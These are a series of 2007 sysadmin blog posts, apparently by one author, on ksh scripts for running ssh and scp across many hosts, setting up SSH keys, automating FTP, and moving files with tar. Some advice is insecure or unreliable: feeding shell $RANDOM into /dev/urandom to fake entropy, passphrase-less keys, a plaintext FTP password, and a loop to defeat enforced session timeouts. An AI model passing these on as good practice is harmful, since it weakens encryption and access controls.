print "______________________________" >>tmpfile.$pid
print "" >>tmpfile.$pid

cat $hostfile|while read name colon address
do
if [ $name == "#" ]
then
:
else
print "\nCopying \"$1 to $2\" on \c" >>tmpfile.$pid
print "$name... " >>tmpfile.$pid
print "$name... \"scp $1 $2\"... "
/usr/bin/scp -r $1 ${address}:$2 2>/dev/null|tee -a tmpfile.$pid
fi
done

mv tmpfile.$pid OUTPUT.${squashed_command}.$pid


, Mike




Friday, December 28, 2007

Using Your Shell To Generate RANDOMness For Security Software

Random number generation, or entropy gathering is something I've always found interesting, because it's so rarely used (to the extent that is possible) and the basic underlying principle is becoming so heavily depended upon. As we enter an age where encryption is becoming not only the standard for network security, but, at times, the only option, this seems insane. I've literally walked into dozens of security software "situations" where it had been agreed upon, all around, that an impasse had been reached, because prngd, egd or the /dev/random and/or /dev/urandom character special devices were no longer functioning correctly. There was simply nothing left to do but wait for vendor support to figure out the problem or, at the very best, wait while we re-installed such and such an OS or software package.

This is a huge problem when your security department has decided that, not only is Telnet no longer a safe connection method, but it's so unsafe that it shouldn't even be on the OS as a backup method for connection. You're left with three options: A secure connection, direct console connection or nothing!

Of course, in a situation like the one I'm describing above, when the security software (Let's say SSH) stops functioning (and no one has a lingering session), you'll need to do your work via the system console. But you should, theoretically, be able to get SSH back up on its feet and running in just slightly more time than it would take you to restart it, once you've logged into the console (hopefully from home :)

The main reason that I see SSH go down is a problem with whatever random number generator it was compiled to use. Of the few I mentioned above, the /dev/random and /dev/urandom character special devices are the most commonly built-in "randomness" generators for SSH. On some older setups (Or for those traditionalists), this is left open and/or set to read random informatiom from a straight file (like /etc/random, or whatever you decide to call it).

On the older versions (where the program reads from a file to "generate randomness") you almost never see this problem, because there's nothing convoluted about the process. We're assuming SSH is fine for all of these examples, and (unless you don't have read access to the file or the filesystem that its on is corrupted), there's almost no way straight-file reads to create randomness can go wrong.

When you're reading from a domain socket or a character special device (like /dev/urandom) is when you may end up having an issue. However you can get around this in your shell using a common variable called RANDOM (Not very cleverly named, but a good indicator of its actual function - available in ksh, bash and almost all shells). This variable produces a random number from between a range of 0 to 32767 (Actual results may vary depending on OS, bit strength of OS, etc) and its value changes every time it's invoked. For instance:

host # a=0;while [ $a -lt 5 ];do echo $RANDOM;let a=$a+1;done
17417
6453
11016
3054
8647


Now, to proceed. We're going to assume that the default file your SSH uses to generate randomness and transfer it to /dev/urandom is missing. Otherwise, you'd just have to fix that and this would be no fun at all ;) In order to incorporate this functionality into your downed SSH server, you'll need to, in effect, create your own /dev/urandom and move the other one out of the way (It's cooked anyway, right? ;)

host # mv /dev/random /dev/norandom
host # mv /dev/urandom /dev/nourandom


Then proceed to create your simple script (We're just going to script on the command line, here) which, while it won't be nearly as secure as the "real" /dev/random was, will keep you afloat until you get the fix in. Theoretically, you could make it really complicated and as secure as you like just as long as you just follow the general outline like this:

First recreate the two necessary random files:

host # mknod /dev/random c 1 8 &&
host # mknod /dev/urandom c 1 9 &&
host # chown root:root /dev/random /dev/urandom
host # chmod 0644 /dev/random /dev/urandom


Then create the random text file, like so (We only need 512 bytes):

host # a=0;while [ $a -lt 92160 ];do echo $RANDOM >>BING;let a=$a+1;done
host # cat BING >/dev/urandom


Note that the above command line (which dumps its output into the file named BING could be a full fledged shell script. It could be highly convoluted and as hard to comprehend as you prefer. The script doesn't even need to work as long as it dumps out enough error data and you're redirecting STDERR to STDOUT -- e.g. 2>&1)

If you want, you can save this output for later, but, hopefully, you won't be needing it. Just dd (disk to disk copy) it back to itself, like this:

host # dd if=/dev/urandom of=BING count=1 >/dev/null 2>&1

Now you should be able to startup your SSH Daemon and finally get back to work ;)

Cheers,

, Mike




Saturday, December 15, 2007

A Simple Trick To Keep Your SSH Session From Timing Out

Hey there,

I thought I'd write a simple something this Saturday; just a little trick that's served me well over the years.

This has to do with any login session in a terminal window (Telnet, SSH, etc). Although this may not always be the case, most places I've ever worked at have had, at least, a few machines were they enforced time-outs on your login. This can be frustrating if you're in the middle of doing something, get called away to do something else, and come back to a "Disconnected!" dialogue box.

Usually, you should be able to get away with just putting a line like this in your .profile or .bash_profile:

TMOUT=0;export TMOUT

But, I've found that a lot of setups don't honor this shell setting. Instead, they take a measure of your activity and log you out if you don't produce enough in your session. So, when you type:

sqlplus @database_query

Even if that takes all day to run, you'll still get disconnected in 5 minutes.

This simple shell loop has almost always worked for me:

while :;do print -n "* ";sleep 15;done

Substitute either
echo -n "* "
or
echo "*\c" <--- \c is the escape character representation of a space.

for the print statement in that little one-line loop, depending on your shell (sh doesn't support the "print" statement) and its implementation of echo (you might be using the built-in or the system binary; in any event - one of these three varieties should do the trick for you.

I leave the carriage-return out on purpose so I can come back later and look at:

*******_

instead of pages of single *'s along the side of my screen, forcing me to scroll back forever to remember what I was doing ;)

This trick basically works because, even though you're not directly interacting with your terminal, you're sending packets back and forth every time that print (or echo) statement executes.

Enjoy a little less stress. Your terminal windows should now be waiting for you instead of threatening to leave :)

, Mike





Thursday, November 22, 2007

A Quick Guide To Setting Up SSH Keys Network Wide

Today, in honor of the spirit of the day, I thought I'd write a little something for which you might, eventually, give many thanks :)

As we mentioned in yesterday's post, once you have SSH keys set up network-wide, so that you can passwordlessly login as yourself on all the machines you administrate, our "scmd" script can be a blessing; especially if you're ever stuck with the seemingly impossible task of retrieving some obscure bit of information off of every single box!

I won't lie to you; this is the worst part of the process. In order to get your keys initially set up, you'll have to put forth a good deal of effort (Your misery will be commensurate with the size of your network). But, once you're done, you'll be on easy street.

For our purposes, we're going to assume that you're using Solaris' (now) standard implementation of SSH (Basically OpenSSH) and craft our instructions using those assumptions. Depending on what kind of SSH client/server you're using, there may be differences in the names of certain files (e.g. authorized_keys2 might be authorized_keys -- The man pages are your friends :) We're also assuming that you actually already have user accounts on all the machines you're required to do work on.

So, to get the worst part over with, simply do the following (cut it up into chunks if it becomes frustrating. Depending on the size of your network, this is quite possible):

1. Create a file with the names or IP addresses of all of the machines you need to work on. For our purposes, format that file with one hostname/IP per line. We'll assume it's named "HostFile"

2. If you haven't done so already, generate your personal ssh-keys on the one machine that you're going to use as your central hub for administrating all the others, like so:

ssh-keygen -t dsa
(Answer yes to the default file locations -- /your/home/directory/.ssh/id_dsa and /your/home/directory/.ssh/id_dsa.pub)
(Also, just hit return both times you're prompted to enter a password. While this is just slightly less secure than entering the double-confirm password, it will completely defeat the purpose of setting this easy-administration up)

2. Run the following from your home directory (This is the first really long and trying part, as you'll have to interact manually):

for x in `cat HostFile`;do ssh -n $x "mkdir -m 700 .ssh";done
(Actuall SSH command may vary depending on your distro. I'm using the "-n" flag to avoid having SSH break out of the "for loop")

Now, if we're starting from scratch, you'll need to answer "yes" for each machine's initial prompt (it will ask you if you trust the host and want to accept and save the key) and enter your password.

3. When that's finally over, cd into your home directory's .ssh directory and run the following on the command line ("HostFile" is still in your home directory, so we're using a relative path to it here):

for x in `cat ../HostFile`;do scp id_dsa.pub $x:/your/home/dir/.ssh/authorized_keys2
(Again, you'll need to enter your password for every machine. Note that if you run a variety of servers, or build standards have changed over time so that your home directory isn't always in the exact same place on every box, you can use "~.ssh/authorized_keys2" as a substitute for "/your/home/dir/.ssh/authorized_keys2)"

4. And, now, you're all done, except to make sure that it actually worked! My favorite way to do this is to just run the same command again. Overwriting your authorized_keys2 file on all the remote hosts won't hurt, and - this time - you should be just kicking back, watching scp's progress meters fly by as you try not to fall asleep ;) Again the "~.ssh/authorized_keys2" substitution is perfectly valid and useful:

for x in `cat ../HostFile`;do scp id_dsa.pub $x:/your/home/dir/.ssh/authorized_keys2

For all the machines that still ask you for your password, take note of those hosts and troubleshoot as necessary. For the most part, you shouldn't have to worry about running into too many of those.

And from here on out, you can use the "scmd" command we put in our pre-Thanksgiving post, or your own custom scripts, to effortlessly run any command (as yourself, of course) on all your machines, by typing a single line on your hub computer.

Happy Thanksgiving :)

, Mike





Wednesday, November 21, 2007

SSH Command Runner To Help With Those Big Tiresome Tasks!

You may recall that we looked at one of the core components of this script in an earlier post, located here.

Today, in preparation for Thanksgiving, I'm putting up a little script that can help you run almost any command line you can dream up, and save the output for you in a relatively nicely formatted report. I'm calling it "scmd" (short for SSH command) but you can call it whatever you want :)

Now, of course, this script comes with a pre-requisite. For instance, it won't really help you save time if you don't have ssh-key-based passwordless logins set up for yourself on all the servers you manage. For Thanksgiving day, we'll go over how to easily set yourself up with those.

For today, assuming you've got your passwordless logins all set, feel free to modify this script as you wish, and use it to kick back and relax when the boss asks you to verify the version of Veritas Foundation Suite on all 300 servers in your farm. Otherwise, until tomorrow, enjoy only having to type in your password over and over and over again (at least you won't have to keep re-typing the command ;)

The script is posted below, for your enjoyment. Note that the "hostfile" is set to be of the format: hostname colon ip_address (e.g. host.xyz.com : 192.168.0.1). The hostname is the only necessary component of each line and all lines that begin with pound symbols (#'s) will be skipped. One host per line, please.

Again, tomorrow, we'll go over how to easily set up ssh keys for yourself network wide, and feel free to modify this little script to make your worklife as effortless as possible:


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/ksh

#
# 2007 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

trap 'rm tmpfile.$pid;echo "Caught Signal. Cleaning Up And Quitting...";exit 3"' 1 2 3 9 15

pid=$$

if [ $# -ne 1 ]
then
echo "Usage: $0 \"quoted command\""
exit 1
fi

if [ -f hostfile ]
then
hostfile="hostfile"
elif [ -f /export/home/bob/data/hostfile ]
then
hostfile="/export/home/bob/data/hostfile"
else
echo "Can't find hostfile. No hosts to ping. Out..."
exit 2
fi

command=$1
squashed_command=`echo $command|/bin/sed -e 's/ * *//g' -e 's/|//' -e 's/\///g'`
buffered_command="${command};echo";

print "" >>tmpfile.$pid
print "Report Output for \"${command}\"" >>tmpfile.$pid
print "______________________________" >>tmpfile.$pid
print "" >>tmpfile.$pid

cat $hostfile|while read name colon address
do
if [ $name == "#" ]
then
:
else
print "\nRunning \"${command}\" on \c" >>tmpfile.$pid
print "$name... " >>tmpfile.$pid
print "$name... "
/usr/bin/ssh -n $address $buffered_command 2>/dev/null |tee -a tmpfile.$pid
fi
done

mv tmpfile.$pid OUTPUT.${squashed_command}.$pid


After a successful run of, for instance - scmd "/usr/sbin/pkginfo VRTSvcs" - you'll end up with a nicely formatted report with the output from all of the servers in your "hostfile," named OUTPUT.usrsbinpkginfoVRTSvcs.14756; the only real variable in the output report name will be the process id tacked on the end so you can run the same script multiple times and not overwrite your old data.

And, oh yes, don't forget to backslash all your special characters :)

, Mike





Thursday, November 1, 2007

Using "Here Documents" To Automate FTP Processes.

Hey again,

A great tool to use when you want to do a little automation in your scripts is a little thing commonly referred to as a "Here Document." I still don't know why, but it hasn't ever mattered ;)

Of course, the "Here Document" can't automate everything (SSH, Telnet or basically anything that requires an interactive terminal login -- There's an excellent tool for that called Expect - but that's for another day)

The most basic use of a "Here Document" is to help automate FTP'ing of files.

The following scriptlet illustrates this as such:


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/ksh

#
# 2007 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

file=$1

# Now let's ftp that file to our host

# Begin "Here Document"
/usr/bin/ftp <<- END
open ftphost.xyz.com
user bjohnson
BJOHNSON
cd uploads
put $file
bye
END

# End of "Here Document"

exit


Notice that the structure of the "Here Document" is fairly simple You have the program you want to invoke on the first line.

That's followed by either <<- KEYWORD or << KEYWORD. The main difference is that the <<- Form will strip leading tabs (not spaces, though) from the lines between the beginning and ending KEYWORD. This option basically arose so that users could write "Here Document"s and make them more easily readable.

The KEYWORD is also important. The only real things that are important about it are that it be the same at the beginning and end. The KEYWORD is a placeholder, telling your "Here Document" what to look for so it knows when it's done :) Another, less conspicuous thing is that it shouldn't be the name of any other variable in the script. General usage dictates all uppercase and, more often than not, the keyword EOF. Ultimately, it's up to you.

Downsides to doing FTP this way are that you have to write the password in plain-text (BJOHNSON above) and, even though this is more of a downside to "Here Document"s altogether, you cannot comment within the KEYWORD brackets.

You can do a lot more with here documents. Pretty much any command you can pipe input to can be used. Have fun trying it out!

, Mike





Saturday, October 27, 2007

Getting SSH to Run in a Shell Loop

This is something I hear a lot, because it's still the norm for SSH.

A lot of times, you'll want to run a command remotely, and to do so expediently, you'll want to run that command in a shell loop. This works perfectly well for rsh (we're assuming for rsh that you've set up your .rhosts files and for SSH you have passwordless key exchange set up so these loops don't require user interaction):

for x in hosta hostb hostc
do
rsh $x "hostname" <----------- Or whatever command you want to run
done

This produces: hosta hostb hostc

That will run the command on every machine in your "for x" line and spit out the results. Interestingly enough, if you do this with SSH, only the first host will get processed, and the script will exit, producing only this: hosta

The issue here is with the way SSH deals with tty's. When that first loop terminates, SSH closes the tty and exits hard, breaking out of the script loop and terminating the script.

The solution is simple enough; just set up your SSH command so that it treats its terminal, in each invocation of the loop, as a "null terminal," like so (the "-n" option is available as a standard, but may vary depending on what release of SSH you're using):

for x in hosta hostb hostc
do
ssh -n $x "hostname"
done


Problem solved :)

I usually add a little extra to the end of the SSH line: ssh -n $x "hostname" 2>/dev/null

The "2>/dev/null" eliminates STDERR output so you don't have to see all the connect and disconnect information. It's useful for simple debugging, but, once your script is working okay, it's just more clutter.

Hopefully this will help you automate processes more securely and more easily in the future!

, Mike





Thursday, October 4, 2007

Our First Question - Moving Content With "tar" Without Hogging Space

Evening,

Finally got our first email response to this blog. Not bad since it's still pretty much in it's beginning stages. I'll paraphrase the question below.

Q: I've got to move some huge .dbf files off of a 400gb partition (larger than other free slices) to make more space for the DBA's. Only problem is I've got 70% utilization on the partition. Tarring all of them at once doubles my disk space usage (which is impossible) and doing them one by one might not even be possible. How can I archive and move content under these sorts of conditions?

A: Since you're used to using tar already, here's a trick a lot folks don't know or just have never used. It'll work so you don't have to take up any extra space on your partition or any other.
What you'll want to do is use the "-" argument to tar and you'll be able to move the files to another partition or another machine without taking up any additional space.
To move a file from one location to another on the same machine, do this (I'm assuming you're in the directory the files are located. Just switch the absolute path and empty path (.) if you prefer to do it the other way. Also, of course, you could use * to tar up everything).

From partition to partition on a single host (if you like some output you can add v to the arguments for tar on either side of the pipe - if you do it on both you'll get a lot of output you probably don't want - up to you):

tar cpf - filea fileb filec|(cd /that/other/partition;tar xpf -)

From a partition on the local host to a remote host (again, you can reverse the path - in this case host:/directory/name - if you want or need to do it the other way):

tar cpf - filea fileb filec|ssh remotehost "cd /remote/partition;tar xpf -"

Basically you're creating your tar to standard output, and then passing it through a pipe (|) which converts the first command's standard output into the standard input of the next command. In this case, your untarring from standard input. Now, hopefully, your files are somewhere more manageable and you didn't need to take up any extra space to do the move.

Note that (on localhost to localhost) the parantheses are important around the second command, since they run them both in a subshell. If you were to remove the parantheses, your standard output would be fed to the "cd" command and tar would have nothing to extract. The same principle applies for using double-quotes with ssh (or rsh)

Hope this helped :)

, Mike